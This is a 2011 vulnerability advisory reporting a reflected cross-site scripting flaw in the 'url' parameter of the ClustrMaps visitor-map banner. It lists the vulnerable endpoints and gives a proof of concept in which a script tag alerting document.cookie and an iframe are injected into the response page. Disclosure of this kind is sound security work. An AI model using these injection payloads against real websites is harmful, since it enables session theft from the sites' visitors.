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ClusterMaps - Cross Site Scripting Vulnerability
🗓️ 25 Jul 2011 00:00:00Reported by Vulnerability Research LaboratoryType 
vulnerlab🔗 www.vulnerability-lab.com👁 39 Views
Document Title:
===============
ClusterMaps - Cross Site Scripting Vulnerability
Release Date:
=============
2011-07-25
Vulnerability Laboratory ID (VL-ID):
====================================
135
Product & Service Introduction:
===============================
Do you know your audience? You will with ClustrMaps! Visitors don t need to click on anything: just viewing your page is sufficient. We provide (free) the HTML that gives you a tiny map, like the one on the left. When it loads, it increments a counter and shows the locations of all visitors to your page, cumulatively (even for huge numbers). Clicking on it zooms in to a big world map, and (optionally) lets you zoom in to the continents, as in the example above. For light users (under 2500 visitors daily) the service is free, forever, and stores cumulative totals up to millions of visitors. Paying users get extra features.
* Know your visitors
* Target your content
* Show off your community
* Automatic: clicks optional
* Speedy, scalable
* Giant map, optional zooms
* No spyware, no cookies
* Learn more...
(Copy of the Vendor Homepage: http://www.clustrmaps.com/)
Abstract Advisory Information:
==============================
Vulnerability Lab Team discovered a Cross Site Scripting Vulnerability on ClusterMaps Locator Exchange Banner.
Vulnerability Disclosure Timeline:
==================================
2011-07-26: Public or Non-Public Disclosure
Discovery Status:
=================
Published
Affected Product(s):
====================
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A Cross Site Scripting Vulnerability is detected on the Clustermaps Exchange Banner. A remote attacker is able to execute own javascripts and
implement malicious codes on exchange websites (customers) to steal sessions via user interaction. The vulnerability is located in the ?url=
parameter which is included on the own website by customers. Attackers can steal sessions through the implemented banner on the customer website.
Vulnerable Module(s):
[+] Maps / URL
Code Review: ClusterMaps Banner
<a href= http://www3.clustrmaps.com/counter/maps.php?url=http://global-evolution.de
id= clustrMapsLink ><img src= http://www3.clustrmaps.com/counter/
index2.php?url=http://vulnerability-lab.com style= border:0px; alt= Locations of visitors to
this page title= Locations of visitors to this page
id= clustrMapsImg onerror= this.onerror=null; this.src=http://www2.clustrmaps.com/
images/clustrmaps-back-soon.jpg; document.getElementById(clustrMapsLink).href=http://www2.clustrmaps.com; /></a>
http://www3.xxx.com/counter/maps.php?url=[ScriptCode] <====
http://www3.xxx.com/counter/index2.php?url=[ScriptCode] <====
Pictures:
../1.png
../2.png
Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers via user interaction. For demonstration ...
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>ClustrMaps - map of visitor locations - zoom map</title>
<link href="maps.php2_files/main.css" rel="stylesheet" type="text/css">
</head><body><font color="red">>"<script>alert(document.cookie)</script>
is not a ClustrMaps (reg or +) user</font></body></html>
---
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>ClustrMaps - map of visitor locations - zoom map</title>
<link href="maps.php_files/main.css" rel="stylesheet" type="text/css">
</head><body><font color="red">>"<iframe src="maps.php_files/a.htm"
height="600" width="600"> is not a ClustrMaps (reg or +)
user</font></iframe></font></body></html>
References:
../PoC/maps.php.htm
../PoC/maps.php2.htm
Security Risk:
==============
The security risk of the cross site vulnerability is estimated as medium because all customer websites are also vulnerable after include.
Credits & Authors:
==================
Vulnerability Research Laboratory
Disclaimer & Information:
=========================
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25 Jul 2011 00:00Current
7.1High risk
Vulners AI Score7.1